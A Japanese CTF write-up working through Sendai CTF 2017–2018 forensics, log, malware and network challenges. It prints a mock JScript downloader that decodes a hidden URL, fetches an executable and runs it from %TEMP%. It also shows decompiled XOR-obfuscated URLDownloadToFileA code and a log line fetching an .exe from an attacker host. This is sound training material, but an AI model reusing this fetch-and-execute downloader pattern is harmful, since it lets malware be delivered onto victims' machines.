haswell

flagらしきものあり。cyberchefに投げてmagicしたらflagゲット。

仙台ctf

はじめに

フォレンジックのディスクイメージを触りたいのでチャレンジしようと思います。writeupというより、解いた道筋を書いていますので、最短距離を知りたい人にとっては意味わからないものかもしれません。ご了承ください。begginerのお戯れと思って暖かく見守っていただければ幸いです。また、setodaの方でも記述しましたが、githubに乗せていくかもしれません。よろしくお願いいたします。

開閉

2017

[For01] USBメモリの感染日時

[シナリオ] 工場用PC(WindowsXP)で利用している社給USBメモリからマルウェアが検出されました。どうやら工場用PCがマルウェアに感染してしまったようです。あなたは、工場用PCが感染した原因を調査することとしました。

[問題] USBメモリのディスクイメージの解析により、削除済みファイルのタイムスタンプを確認し、USBメモリマルウェアが感染した日時((日本時間))を推定してください。

[フラグ] 感染日時のうち、最も古いもの(YYYY/MM/DD-hh:mm:ss)(半角) 例:2017/01/31-23:59:59

[問題ファイルのパスワード] ZZBYCPOM

ということで、ddファイルが手に入った。USBメモリの解析はwindowsファイルシステムのディスクイメージと同じように解析できるのだろうか?でもまずはいつもと同じく。fileコマンドをたたく。

└─# file USB_Factory_MalwareChecked.dd
USB_Factory_MalwareChecked.dd: DOS/MBR boot sector, code offset 0x58+2, OEM-ID "MSDOS5.0", sectors/cluster 2, reserved sectors 6298, Media descriptor 0xf8, sectors/track 63, heads 255, hidden sectors 97, sectors 250527 (volumes > 32 MB), FAT (32 bit), sectors/FAT 947, serial number 0x46bf5711, unlabeled

セクターには分かれているようだ。

└─# mmls USB_Factory_MalwareChecked.dd

mmlsコマンドでは特になかった。USBではだめのようだ。autopsyで解析していく。 そうすると削除されたファイルが4つある。その中で実行されたであろう_164.exeがある。これがマルウェアと考え、それの作成日を入力したらflagゲット。

[For02] 不審USBメモリ

[問題] 営業所に確認したところ、工場用PCで利用しているUSBメモリは、社給USBメモリ1本だけとのことです。 感染した工場用PCのレジストリの解析により、過去に接続されたUSBメモリのシリアル番号を確認し、不審USBメモリを特定してください。 なお、シリアル番号「SNDKB91EA4346D408606」のUSBメモリは、社給USBメモリであり、不審USBメモリではありません。

[フラグ] 不審USBメモリのシリアル番号(半角) 例:A00001234

[問題ファイルのパスワード] ZZBYCPOM

ということで、先の続きのような感じ。不審なUSB接続を見つけるようだ。いつも通り、まずはコマンドでやってみる。
と思ったが、想定していたものと違う。\For02\WINDOWS\system32\configのsystemというものと、setupapi.logというファイルだけ渡されている。

知識(\WINDOWS\SYSTEM32\CONFIG\SYSTEM)
\WINDOWS\SYSTEM32\CONFIG\SYSTEM (\WINDOWS\SYSTEM32\CONFIG\SYSTEM とは?!)を参考にした。「Windowsレジストリ情報を保存しているファイル」だそうだ。
知識(setupapi.log)
setupapi.log (SANS DFIR)を参考にした。「USBデバイスが接続・切断された時間情報を確認する際に使用します。」だそうだ。

知識のことからsetupapi.logを見るのが正解に近い気がする。と思ったが、意外と日本語検索するのはlinuxでは面倒。(USBメモリの最終使用日の確認方法)からデバイスインスタンス IDからシリアル番号が分かる。

└─# strings system |grep USB#Vid
##?#USB#Vid_0e0f&Pid_0003#6&63561a1&0&1#{a5dcbf10-6530-11d2-901f-00c04fb951ed}
##?#USB#Vid_0e0f&Pid_0002#6&63561a1&0&2#{f18a0e88-c30c-11d0-8815-00a0c906bed8}
##?#USB#Vid_0e0f&Pid_0003#6&63561a1&0&1#{a5dcbf10-6530-11d2-901f-00c04fb951ed}
##?#USB#Vid_0e0f&Pid_0002#6&63561a1&0&2#{f18a0e88-c30c-11d0-8815-00a0c906bed8}
##?#USB#Vid_0781&Pid_5150#SNDKB91EA4346D408606#{a5dcbf10-6530-11d2-901f-00c04fb951ed}
##?#USB#Vid_0781&Pid_5150#SNDKB91EA4346D408606#{a5dcbf10-6530-11d2-901f-00c04fb951ed}
##?#USB#Vid_04bb&Pid_1004#07083CD4A61B6307#{a5dcbf10-6530-11d2-901f-00c04fb951ed}
##?#USB#Vid_04bb&Pid_1004#07083CD4A61B6307#{a5dcbf10-6530-11d2-901f-00c04fb951ed}

上記のように出てきた。SNDKB91EA4346D408606が既知のデバイスなので、それに似たところを抽出すればflagゲット。

[For03] 不審プログラムの起動日時

[問題] 感染した工場用PCのレジストリおよびPrefetchの解析により、不審USBメモリに格納されたプログラムの起動日時を確認し、マルウェア感染日時(日本時間)を推定してください。

[フラグ] マルウェアの実行日時の痕跡のうち、最も古いもの(YYYY/MM/DD-hh:mm:ss)(半角) 例:2017/01/31-23:59:59

[問題ファイルのパスワード] ZZBYCPOM ということで、まずはprefetchを調べる。

知識(Prefetch)
Prefetch (Prefetch(exe実行履歴)の解析方法【フォレンジック】)を参考にした。「Windowsでの実行ファイル履歴を保存しているアーティファクト」だそうだ。

(簡易解析入門 プログラム実行の痕跡の調査 (1)Prefetch)からwinprefetchViewで任意のフォルダのprefetchを確認できるようだ。(PECmd - Windows Prefetchの解析)また、コマンドで扱うこともできるようだ。視覚的では多い時もあるので便利だ。
また、\For03\Documents and Settings\AdministratorにNTUSER.DATというファイルがある。これは何だろう。(NTUSER.DATとは?削除や移動しちゃダメなファイルだよ!)を参考にした。つまり、マルウェアの可能性もあるということのようだ。

先ほどの不審なUSBを接続した後にマルウェアは実行されると思うので、不審なUSBが接続された日時を探しに行く。

└─# strings setupapi.log |grep 07083CD4A61B6307 -9
 "c:\windows\inf\usbstor.inf"
 [USBSTOR_BULK]
#I320
X GUID
: {36FC9E60-C465-11CF-8056-444553540000}
#I060
#I058
#-166
: DIF_INSTALLDEVICEFILES
#I124 USB\VID_04BB&PID_1004\07083CD4A61B6307
#-166
: DIF_REGISTER_COINSTALLERS
#I056
#-166
: DIF_INSTALLINTERFACES
#-011 "c:\windows\inf\usbstor.inf"
 [USBSTOR_BULK.NT.Interfaces]
#I054
#-166
: DIF_INSTALLDEVICE
#I123 USB\VID_04BB&PID_1004\07083CD4A61B6307
#I121 USB\VID_04BB&PID_1004\07083CD4A61B6307
[2017/10/19 01:17:34 668.7 Driver Install]

以上のことから2017/10/19 01:17:34の前の日時[2017/10/19 01:17:26 668.3 Driver Install]が接続されたときの日程に近いと考えられる。ここから、実行されたところを推測するため、prefetchを確認する。

同時刻の実行がある。そのあとを確認していくと9164.EXEがある。これはFor01の時に削除されていたファイルと似ている。これのLast Run Timeを入力したら正解。

[ForX] FAT32フォーマット日時

[問題] 工場用PCの感染原因となったUSBメモリは、ある社員が、自宅等で利用している個人所有物を会社に持ち込んだものでした。 当該社員からUSBを借用し解析することにしましたが、どうやらUSBメモリがフォーマットされ、証拠隠滅が図られたようです。

USBメモリのディスクイメージを解析し、USBメモリがフォーマットされた日時(日本時間)を推定してください。

[フラグ] USBメモリのフォーマット日時(YYYY/MM/DD-hh:mm:ss)(半角) 例:2017/01/31-23:59:59

[問題ファイルのパスワード] ZZBYCPOM ということらしい。まずフォーマットって何?

知識(フォーマット)
フォーマット (フォーマット)を参考にした。初期化のことらしい。

今回は初めからautopsyにぶち込んだ。USBがフォーマットされた日時を探すのはどうするんだろう。(USBメモリーのフォーマット手順 (例:Windows 10 の場合))ではUSBのフォーマットの仕方が書かれている。
フォーマットが起きたことをはっきりと述べる痕跡を見つけることはできなかった。日時が分かるものがSystem Volume informationとVolume label entryしかなかったので、そこを入力したら正解。他のwriteup見ようかな。

[ForX-2] FAT32フォーマット日時(確認問題)

300 [問題] ForXを正しく理解できているか確認するための問題です。 USBメモリがフォーマットされた日時(日本時間)を推定してください。

[フラグ] USBメモリのフォーマット日時(YYYY/MM/DD-hh:mm:ss)(半角) 例:2017/01/31-23:59:59 ということで、先の問題の確認問題のようだ。 先より、日時が分かる部分が多い。
System Volume informationがとても気になる。なぜなら、作成日時が書いてあるから、しかし、Volume label entryの更新日時の方が早い日時になっているのは悩ましい。   entryの方にしたら正解。

感想 windowsのイメージディスクの問題を解けたことが何よりうれしい。とても楽しかったので作成者には感謝を述べたい。
他のフォレンジックに進もうと考えていたが、ほかの問題も楽しそうなので2017をもう少し進めてから別年度のものをやっていこうと思う。

[Log01] 大量アクセス

100 [シナリオ] DMZに設置しているウェブサーバのレスポンスが低下しました。 どうやら大量アクセスにより、負荷が高くなっていたようです。あなたは、ウェブサーバのログを調査することとしました。

[問題] ウェブサーバのアクセスログを分析し、大量アクセスをしていたIPアドレスを特定してください。

[フラグ] アクセス数が最も多いIPアドレス(半角) 例:192.168.0.1

[問題ファイルのパスワード] ANVWPMRC

ということで、ログデータが渡された。wiresharkで見れないので意外とめんどくさいかも。
ただ、明らかに異常なアクセスをしているIPアドレスがあったのでそれを入力。正解。

[Log02] SSHによる不正ログイン

100 [問題] 大量アクセスの発信元は、DMZに設置しているテスト用サーバでした。 テスト用サーバではSSHサービスのみが起動していることから、あなたは、ブルートフォース攻撃などにより、SSHでログインされた可能性があると考え、調査することとしました。 SSHサービスのログを分析し、ブルートフォース攻撃により不正にログインされたユーザー名を特定してください。

[フラグ] 不正ログインされたユーザー名(半角、小文字) 例:john

[問題ファイルのパスワード] SVQBMHKZ (自宅の公開sshサーバの不正アクセスログを調査してみた)を参考にした。sshアクセスログがauth.logには残っているようだ。ログインが成功するとAcceptedの文字が含まれるようだ。└─# strings auth.log |grep Acceptedをしたらforの後ろの単語がユーザー名のようだ。終了。

[Log03] シェルのコマンド履歴

100 [問題] 攻撃者は、不正にログインした後、攻撃用ツールをwgetコマンドでダウンロードし、ウェブサーバに大量アクセスしたようです。 シェルのコマンド履歴を確認し、攻撃用ツールをダウンロードしたURLを特定してください。

[フラグ] 攻撃用ツールをダウンロードしたURL(半角、小文字) 例:http://www.example.com

[問題ファイル] CACIHZKU

ということでいろいろ渡されたが、コマンド履歴は.bash_historyにあるのでそこを確認したら、niktoというものがwgetされていたので、そのURLを入力して終了。

知識(nikto)
nikto (ハッカーはNiktoでwebサーバー、モジュール、ミドルウェアの設定を確認する(Kali Linux))を参考にした。webのスキャンを行うようだ。

[LogX] 国内IPアドレス

300 [問題] 上司から、当面、海外からのアクセスを全て遮断するようにとの指示がありました。 あなたは、作業に先立ち、自社ウェブサーバにアクセスしてきたIPアドレスを分析し、国内と国外のアクセスの割合を確認することとしました。

Apacheログを分析し、ログに記録されている国内(日本)のIPアドレス数を計上してください。ログに同じIPアドレスが複数回記録されていた場合は、1個と数えてください。

なお、IPアドレスの国内・国外の判定は、問題ファイルとし配布した「delegated-apnic-extended-latest」(APNICが公開している国別のIPアドレスの割り当て一覧)によるものとします。

[フラグ] ログに記録されている国内IPアドレス数(半角数字) 例:12345

[問題ファイルのパスワード] JIJOFQKA
またの機会。ちょっとコード書く気分でない。

[Mal01] マルウェアの通信先(EXE編)

100 [シナリオ] 最近、毎日のように、複数の社員から、不審メールが届いたとの通報があります。 毎回、受信者ごとにメールの差出人、件名、本文などはランダムに設定されています。

添付ファイル名もランダムに設定されていますが、受信日が同じであれば、ファイルの内容(ハッシュ値)は同じであり、開封すると不審な通信が発生します。 さて、本日も不審メールが届いたとの通報がありました。あなたは、添付ファイルを解析し、不審通信先を確認することとしました。

[問題] (事例1)不審な添付ファイル(EXE形式)を解析し、通信先を特定してください。

[補足] 添付ファイルはセキュリティ対策ソフトでダウンローダーとして検知されますが、模擬マルウェアであり、実害はありません。

[フラグ] 不審通信先のURL(半角、小文字) 例:http://www.example.com

[問題ファイルのパスワード] BNIWSTRV

というわけで、怪しいexeファイルが渡された。実行しないように注意ですね。
できることは静的解析なので、stringsコマンドしてURLっぽいのを入力、終了。

[Mal02] マルウェアの通信先(JS編)

100 [問題] (事例2)不審な添付ファイル(JS形式)を解析し、通信先を特定してください。

[補足] 添付ファイルはセキュリティ対策ソフトでダウンローダーとして検知されますが、模擬マルウェアであり、実害はありません。

[フラグ] 不審通信先のURL(半角、小文字) 例:http://www.example.com

[問題ファイルのパスワード] KCKEPSOS

というわけで、先と同じ。

└─# strings Downloader.js
strUrl = String.fromCharCode(104,116,116,112,58,47,47,109,97,108,119,97,114,101,95,100,105,115,116,114,105,98,117,116,101,114,46,99,111,46,105,110,118,97,108,105,100,47,77,101,115,115,97,103,101,66,111,120,46,101,120,101);
obj_shell = WScript.CreateObject("WScript.Shell");
path = obj_shell.ExpandEnvironmentStrings("%TEMP%\\a.exe");
obj_http = WScript.CreateObject("MSXML2.XMLHTTP");
obj_http.open("GET",strUrl,false);
obj_http.send();
while(obj_http.readystate != 4){
    WScript.Sleep(1000);
obj_strm = WScript.CreateObject("Adodb.Stream");
adTypeBinary = 1;
adSaveCreateOverWrite = 2;
obj_strm.Type = adTypeBinary;
obj_strm.Open();
obj_strm.Write(obj_http.responseBody);
obj_strm.SaveToFile(path, adSaveCreateOverWrite);
obj_shell.Run(path,0,0);

難読化されている模様。わくわく。 strUrl = String.fromCharCode(104,116,116,112,58,47,47,109,97,108,119,97,114,101,95,100,105,115,116,114,105,98,117,116,101,114,46,99,111,46,105,110,118,97,108,105,100,47,77,101,115,115,97,103,101,66,111,120,46,101,120,101);がcharcodeとしてデコードされてURLになるようだ。cyberchefにぶち込んでmagicでいい感じにしたら終了。

[Mal03] マルウェアの通信先(LNK編)

100 [問題] (事例3)不審な添付ファイル(LNK形式)を解析し、通信先を特定してください。

[補足] 添付ファイルはセキュリティ対策ソフトでダウンローダーとして検知されますが、模擬マルウェアであり、実害はありません。

[フラグ] 不審通信先のURL(半角、小文字) 例:http://www.example.com

[問題ファイルのパスワード] CHTQPMKW ここも前回同様、strings。

└─# strings DownLoader.lnk
/C:\
TKcr
Windows
TKcr*
System32
cmd.exe
C:\Windows\System32\cmd.exe
1SPS0
1SPS
1SPS
sf"=
1SPS
jc(=
student-pc
Fb$g
%ComSpec%

cmdが立ち上がっているがURLは見当たらない。catにしたら出てきた。文字数関係でうまく表示できなかったのと予想。

[MalX] マルウェアの通信先(EXE編その2)

300 [問題] (事例4)不審な添付ファイル(EXE形式)を解析し、通信先を特定してください。 なお、このマルウェアは特定の条件下でしか動作しないようです。

[補足] 添付ファイルはセキュリティ対策ソフトでダウンローダーとして検知されますが、模擬マルウェアであり、実害はありません。

[フラグ] 不審通信先のURL(半角、小文字) 例:http://www.example.com

[問題ファイルのパスワード] TOCDWIES 初手、stringsしてみたが、URLっぽいのはない。可読できるものは多いが、よくわからない。難読化なのだろうか? stringsやcatでは旨くいかなかったので、ghidraで静的解析を行う。

  local_358[0] = 0xaa;
  local_358[1] = 0xb6;
  local_358[2] = 0xb6;
  local_358[3] = 0xb2;
  local_358[4] = 0xf8;
  local_358[5] = 0xed;
  local_358[6] = 0xed;
  local_358[7] = 0xaf;
  local_358[8] = 0xa3;
  local_358[9] = 0xae;
  local_358[10] = 0xb5;
  local_358[11] = 0xa3;
  local_358[12] = 0xb0;
  local_358[13] = 0xa7;
  local_358[14] = 0x9d;
  local_358[15] = 0xb0;
  local_358[16] = 0xa7;
  local_358[17] = 0xb4;
  local_358[18] = 0xa7;
  local_358[19] = 0xb0;
  local_358[20] = 0xb1;
  local_358[21] = 0xa7;
  local_358[22] = 0xb0;
  local_358[23] = 0xec;
  local_358[24] = 0xa1;
  local_358[25] = 0xad;
  local_358[26] = 0xaf;
  local_358[27] = 0xed;
  local_358[28] = 0x8f;
  local_358[29] = 0xa7;
  local_358[30] = 0xb1;
  local_358[31] = 0xb1;
  local_358[32] = 0xa3;
  local_358[33] = 0xa5;
  local_358[34] = 0xa7;
  local_358[35] = 0x80;
  local_358[36] = 0xad;
  local_358[37] = 0xba;
  local_358[38] = 0xec;
  local_358[39] = 0xa7;
  local_358[40] = 0xba;
  local_358[41] = 0xa7;
  local_358[42] = 0xc2;
  local_18 = 0xc2;
  local_228 = (uint *)_getenv(&DAT_0040f000);
  local_1c = s_\MessageBox.exe_0040f008;
  local_224._0_1_ = '\0';
  _memset((undefined *)((int)&local_224 + 1),0,0x1ff);
  local_14 = FUN_004012a0((__time64_t *)0x0);
  local_20 = FUN_00401280(&local_14);
  if (((*(int *)(local_20 + 0x14) == 0x75) && (*(int *)(local_20 + 0x10) == 10)) &&
     (*(int *)(local_20 + 0xc) == 0xd)) {
    for (local_8 = 0; local_8 < 0x2b; local_8 = local_8 + 1) {
      local_32c[local_8] = local_358[local_8] ^ (byte)local_18;
    }
    FUN_004012d0(&local_224,local_228);
    FUN_004012d0(&local_224,(uint *)local_1c);
    URLDownloadToFileA((LPUNKNOWN)0x0,(LPCSTR)local_32c,(LPCSTR)&local_224,0,
                       (LPBINDSTATUSCALLBACK)0x0)

めちゃくちゃ時間がかかったのはlocalに定義されたものをそのままasciiにしようと考えていたこと。しかし、よく見ると、 local_32c[local_8] = local_358[local_8] ^ (byte)local_18;と演算が加えられている。ここで混乱した。動的解析できれば一番早いと感じた。

initial = 0xc2
lis= [0xaa,0xb6,0xb6,0xb2,0xf8,0xed,0xed,0xaf,0xa3,0xae,0xb5,0xa3,0xb0,0xa7,0x9d,0xb0,0xa7,0xb4,0xa7,0xb0,0xb1,0xa7,0xb0,0xec,0xa1,0xad,0xaf,0xed,0x8f,0xa7,0xb1,0xb1,0xa3,0xa5,0xa7,0x80,0xad,0xba,0xec,0xa7,0xba,0xa7,0xc2]
URL = list(range(len(lis)))
count = 0x00
while (count < 0x2b):
  URL[count] = lis[count] ^ initial
  count = count + 0x01
print(URL)

とすると数値列が出てくる。それをcyberchefのfrom Decimalにぶち込むとURLが出てくる。※magicでは反応しないので注意。

感想 4問目がめちゃくちゃ時間かかった。静的解析(rev)が苦手なのがここで影響したと思う。
また、動的解析を使えばもっと早く済んだと思う。あまりマルウェアを動的解析したくないのでghidraでごり押しました。
でも、難読化を知ることができてよかった。

[Lab01] プロキシログの調査

100 [シナリオ] インターネット接続点を監視しているIDSが、社内パソコンから不審ホスト「c2.hacker.com」への通信が発生していることを検知しました。あなたは、社内パソコンがマルウェアに感染している可能性が高いと考え、調査を実施することとしました。

[シナリオ] インターネット接続点を監視しているIDSが、社内パソコンから不審ホスト「c2.hacker.com」への通信が発生していることを検知しました。あなたは、社内パソコンがマルウェアに感染している可能性が高いと考え、調査を実施することとしました。

[問題] プロキシログを確認し、不審ホスト「c2.hacker.com」と通信している社内パソコン(感染端末)のIPアドレスを特定してください。

[フラグ] 感染端末のIPアドレス(半角) 例:172.16.0.101

[問題ファイルのパスワード] OGENJIZM
ということで、ログデータが渡された。c2.hacker[.]comと通信しているということなので、└─# cat access.log |grep c2.hacker.comで検索したら、出てきた。そのIPアドレスを打ったら終了。

[Lab02] メモリフォレンジック

100 [問題] あなたはフォレンジック調査のため、感染端末(Windows7 SP0 32bit版)のメモリイメージを取得しました。 メモリイメージを解析し、不審ホスト「c2.hacker.com」への通信を発生させている不審プロセスのPID(プロセスID)を特定してください。

[フラグ] 不審プロセスのPID(半角) 例:1234

[問題ファイルのパスワード] GHDHWOPD

[問題ファイル] Lab02.zip
ということでやっていく。ディスクイメージとメモリフォレンジックは違うようだ。memファイルをautopsyに入れてもいい結果は出なかった。(CTFのフォレンジックにおけるメモリフォレンジックまとめ [Volatility 3, Volatility 2])を参考に解析していこうと思う。

Volatility Foundationというツールを利用するようだ。(Volatility3を早速使ってみた[追記])を参考にした。

└─# python3 vol.py -f './memdump.mem' windows.info
Variable        Value

Kernel Base     0x8321e000
DTB     0x185000
Symbols file://./volatility3/symbols/windows/ntkrpamp.pdb/5B308B4ED6464159B87117C711E7340C-2.json.xz
Is64Bit False
IsPAE   True
layer_name      0 WindowsIntelPAE
memory_layer    1 FileLayer
KdDebuggerDataBlock     0x83346be8
NTBuildLab      7600.16385.x86fre.win7_rtm.09071
CSDVersion      0
KdVersionBlock  0x83346bc0
Major/Minor     15.7600
MachineType     332
KeNumberProcessors      1
SystemTime      2017-10-15 14:52:45
NtSystemRoot    C:\Windows
NtProductType   NtProductWinNt
NtMajorVersion  6
NtMinorVersion  1
PE MajorOperatingSystemVersion  6
PE MinorOperatingSystemVersion  1
PE Machine      332
PE TimeDateStamp        Mon Jul 13 23:15:19 2009

というwindowsの情報が見れる。64bitではなさそう。今回は不審なプロセスを見つけるので、

  • プロセスツリー
  • 現在実行中のプロセスがどのような引数で実行されたか
  • ネットワークコネクション

を確認したいと思う。結論、ネットワー接続していたので、それを見ていく。

└─# python3 ./vol.py -f ../memdump.mem windows.netscan.NetScan | grep "172.16.0.132"
0x391c9df8 100.0TCPv4   172.16.0.132    49831   192.168.100.50  3128    CLOSED  3276    iexplore.exe    -
0x3a8b5008      TCPv4   172.16.0.132    49817   192.168.100.50  3128    CLOSED  3276    iexplore.exe    -
0x3c0fadf8      TCPv4   172.16.0.132    49724   192.168.100.50  3128    CLOSED  3276    iexplore.exe    N/A
0x3e05dcc0      TCPv4   172.16.0.132    49829   192.168.100.50  3128    CLOSED  3276    iexplore.exe    -
0x3fcb1a28      TCPv4   172.16.0.132    49835   192.168.100.50  3128    ESTABLISHED     1308    services.exe    -
0x3fcfddf8      TCPv4   172.16.0.132    0       192.168.100.50  0       CLOSED  3276    iexplore.exe    -
0x3fd66370      TCPv4   172.16.0.132    49821   192.168.100.50  3128    CLOSED  3276    iexplore.exe    -

より、ESTABLISHEDになっているPIDを選択すれば終了。ここで知っておきたいのはメモリフォレンジックはVolatility3。でも、FKTimagerというのも使えるようなので、機会があれば。

[Lab03] タイムライン解析

100 [問題] あなたは、不審プロセスが起動した原因(感染した原因)を調査するため、タイムライン解析を実施しました。 どうやら、最初に実行されたダウンローダが、マルウェア本体をダウンロードし実行したことで、不審ホストとの通信が開始されたようです。ダウンローダのファイル名を特定してください。

[補足] ・問題ファイルは、疑似ディスクイメージです。ファイルシステムレベルで解析すると整合性がとれない部分がありますので、予めご了承ください。 ・「請求書.exe」は過去の感染の残骸であり、今回のインシデントとはタイムラインがつながっていません。 ・plaso 1.5.1がエラーになる場合は、plaso-20170930 (Heimdall)をお試しください。

[フラグ] ダウンローダのファイル名(半角、小文字) 例:xyz.doc.exe

[問題ファイルのパスワード] YUCQKSGE

[問題ファイル] Lab03.zip
というわけで、ディスクイメージを渡された。久しぶりの初手を行う。

└─# file diskimage.dd
diskimage.dd: DOS/MBR boot sector, code offset 0x52+2, OEM-ID "NTFS    ", sectors/cluster 8, Media descriptor 0xf8, sectors/track 63, heads 128, hidden sectors 1, dos < 4.0 BootSector (0x80), FAT (1Y bit by descriptor); NTFS, sectors/track 63, sectors 614399, $MFT start cluster 25600, $MFTMirror start cluster 2, bytes/RecordSegment 2^(-1*246), clusters/index block 1, serial number 0763839383838f927; contains bootstrap BOOTMGR

NTFSファイルシステムを見るのはpicoCTFばかりやっているので新鮮。同じように行えるのだろうか。

└─# mmls diskimage.dd

mmlsコマンドは反応なし。autopsyに投げてみる。
問題文のヒントとしては

  • ダウンロード
  • 実行
  • ファイル名

ここくらいがキーワードのように思う。autopsyと(セキュリティTIPSうすしお味不正アクセス対応 RDP編)を参考に、$LogFile。$MFT、NTUSER.DATとSYSTEMを抽出した。prefetchだけでも出てきそうだが、いろいろ見てみる。
ぶっちゃけどこを見ていいのかわかりにくい。慣れてないからか?systemとNTUSER.DATを入れてみたけど、なにを見ればいいかもわからん。保留。
一応、見たいものを見れる環境にはできた。あとは探すだけ。 (初めての「Registry Viewer」)、(最近開いたファイルを調査しよう!【Recent Files編】)

(マルウェア感染対応 フォレンジック基礎編)。いろいろ見ているが、prefetchが一番見つけやすそう。
しかし、情報が足りない。もう少しレジストリなど見る対象で何が分かるのかを覚えてから挑む。

いろいろ調べたが、SANSの資料が一番いい気がする。それでも何を手掛かりに見ていけばいいかわからない。
そこで、今回のctfは流れがあることを思い出した。1では関連するIPアドレスを見つけた。└─# cat access.log |grep c2.hacker.com 15/Oct/2017:23:55:04 +0900.236 332380 172.16.0.132 TCP_MISS/200 722088 CONNECT c2.hacker.com:443 - DIRECT/192.168.15.10 - "-"また、時刻も大体が分かる。
次の2ではPIDを求めた。0x3fcb1a28 TCPv4 172.16.0.132 49835 192.168.100.50 3128 ESTABLISHED 1308 services.exe -ここで、services.exeが実行され、不審な挙動を示すことが分かる。これを手掛かりにしてみる。
prefetch確認。

つまり、SERVICES.EXEより前にダウンローダはあるとわかる。SERVICES.EXE \DEVICE\HARDDISKVOLUME1\USERS\USER01\DESKTOP\INVOICE\SERVICES.EXE 5 そこを調べるとDESKTOP\INVOICEの中のservice.exeが実行されている。このinvoiceが鍵なのだろうか。

INVOICE.EXEを詳しく見るとそのあとにSERVICE.EXEが実行されている。動機は不明確だがこのINVOICE.EXEがダウンローダだと考え、入力。正解。

[Lab04] ダウンローダーの通信先

100 [問題] ダウンローダは、ある不審サイトからマルウェア本体をダウンロードするようです。 プロキシログまたはマルウェア検体の解析により、ダウンローダがアクセスする不審サイトのURLを特定してください。

[フラグ] 不審サイトのURL(半角) 例:http://abc.example.com

[問題ファイルのパスワード] IVDLECEL
ということで、ダウンロードするためにアクセス下不審サイトを特定するようだ。access.logから、service.exeの実行時間をもとに考えると

└─# cat access.log |grep 23:49:21
15/Oct/2017:23:49:21 +0900.782      4 172.16.0.132 TCP_MISS/200 6586 GET http://www.attacker.com/a.exe - DIRECT/192.168.15.200 application/octet-stream "wininet"
15/Oct/2017:23:49:21 +0900.852      3 172.16.0.147 TCP_DENIED/400 1586 NONE error:unsupported-request-method - NONE/- text/html "-"

となり、URLが見える。入力。正解のようだ。
せっかくなので、検体の解析を行う。└─# strings Invoice.exeをやっても、直接的には出てこない。ghidraかな?
解析してみたけど、難しいようだ。動的に解析しないといけなさそうなので、またの機会に。

[Tri01] NSAの攻撃ツール

50 [問題] 2017年5月に世界中で感染被害が発生したランサムウェア「WannaCry」は、ネットワーク経由で感染拡大するために、NSAから流出した攻撃ツールのひとつを悪用しています。 「WannaCry」が悪用している攻撃ツールのコードネームを答えてください。

[フラグ] 攻撃ツールのコードネーム(半角アルファベット小文字) 例:heartbleed
(WannaCryは序章? NSAツールを悪用したマルウェアが相次ぎ出現)を参考にした。

[Tri02] 電子メール詐欺

50 [問題] ソーシャルエンジニアリングを駆使した電子メールを送信して、企業に送金させる詐欺行為のことを意味するアルファベット3文字を答えてください。

[フラグ] 3文字のアルファベット(半角大文字) 例:XYZ (ビジネスメール詐欺(BEC)の手口とは?効果的な対策・対処法)を参考にした。

2018

Net.1 工場用PCの調査

100 [シナリオ] ある日、工場用PC内の1台に導入されているウィルス対策ソフトから、WannaCryからの攻撃を検出したという警告が出ました。 その翌日、営業部の担当者より「社内ウェブが書き換えられているのではないか」という連絡が入ってきました。

あなたは、重大なインシデントが発生しているのではと考え、二つのインシデントについて調査を行うことにしました。 工場内LANは、インターネットには接続されておらず、隔絶されたネットワークのため、幸い二つのインシデントに関連はなさそうです。

工場用PCでのインシデントについて調査を行ったところ、機器の点検のために他会社の社員が持ち込んでいたPCが原因で工場内PCのどれかが感染したためだと思われましたが、WannaCry感染時に表示される身代金支払い画面はどのPCからも確認されておらず、本当にWannaCryに感染しているのか不明です。

パケット上から、感染を拡大させようとしている動きが見受けられる感染端末を1台見つけ出してください。

[フラグ] 感染端末のIPアドレス(半角) 例:192.168.11.1

[問題ファイル] Network01.zip

[問題ファイルのパスワード] 846953608FECA964145540C323CBC6A8
pcapファイルが渡された。問題文から、横展開しようとしているパケットを見つけるのだろうか?

いつも通り、まずは階層から見ていく。IPv6よりIPv4での通信が多い。また、UDPよりTCPの方が多い。SMBプロトコルが多い。なにか聞いたことがあるので、チェックしていく。

IPv4に注目した時、送信パケットが多い、10.10.10.7と10.10.10.5が気になる。

知識(SMB)
SMB (SMB(プロトコル)とは【用語集詳細】)を参考にした。「SMBはServer Message Blockの略で、Windowsに実装されているファイル共有用プロトコルです。」だそうだ。調べると脆弱性が多く見つかっているようだ。


SMBプロトコルで検索した時の階層である。10.10.10.2の送信が多いことが分かる。
さて、ほかの考え方をしてみる。wannacry特有の感染拡大方法はないのだろうか?(WannaCryとは?仕組みと感染経路、感染確認方法や対策を紹介)を参考にすると、「ファイアウォールのログにWannaCryが侵入に使用するポート445への接続が記録されていないかなどを確認しましょう。」とある。wannacryは445ポートからアクセスするようだ。 tcp.dstport ==445で検索したのちに階層を見てみる。

10.10.10.7と10.10.10.4がいる。たくさんやっている10.10.10.7が敵と考えられる。flagゲット。

Net.2 攻撃元の特定

100 ウェブ改ざんのインシデントについて調査を行ったところ、攻撃者によりTomcatサーバーの脆弱性に対し攻撃がなされ、情報が持ち出された模様です。

攻撃元のIPアドレスを特定してください。

[フラグ] 攻撃元のIPアドレス 例:203.0.113.109

[問題ファイル] Network02.zip

[問題ファイルのパスワード] 3A5FB7C5E66F1189127588E1AD3278B7
ということで、次の問題。ウェブ改ざんが行われたようだ。Tomcatサーバーの脆弱性が利用されたようだ。

(Apache Tomcat に情報漏えいの可能性がある脆弱性、OpenSSL に深刻度「高」の脆弱性が発見される!その対処法とは?)から、実際に脆弱性があったようだ。
HTTP通信が起こっている。
パケットの送受信はこんな感じ。
HTTPでは平文で通信されているので、これが情報漏洩になっているのだろうか?つまり、このパケットのdstが攻撃元だろうか?いや、でも、ほかのものも受け取っているのでこれだけでは特定できない。
192.168.100.106とその他が通信している。不審なリクエストを送ることで情報が漏洩してしまうそうなので、192.168.100.106に対するリクエストを見た。

真ん中らへんのpwnなんちゃらの後ろが怪しい。これが不振そう。入力。正解。(Apache Tomcat における例外処理に関する情報漏えいの脆弱性)パラメータ処理に関しての脆弱性がありそう。

Net.3 Tomcat脆弱性

100 DMZ内のウェブサーバーで動作するApache Tomcatに対し、外部より攻撃が行われていることが発覚しました。

ネットワークのログより、攻撃に使われた脆弱性を特定してください。

なお、問題ファイルは、Network 2 に添付されているものを使います。

[フラグ] 使用された脆弱性のCVE番号 例:CVE-2017-11882

[問題ファイルのパスワード] 3A5FB7C5E66F1189127588E1AD3278B7
(Apache Tomcatに含まれる脆弱性(CVE-2017-12617)に関する脆弱性検証レポート)を参考にした。PUTで相手に任意のコードを送り付け、その後、それを実行するようなパラメータを送信することでできるようだ。

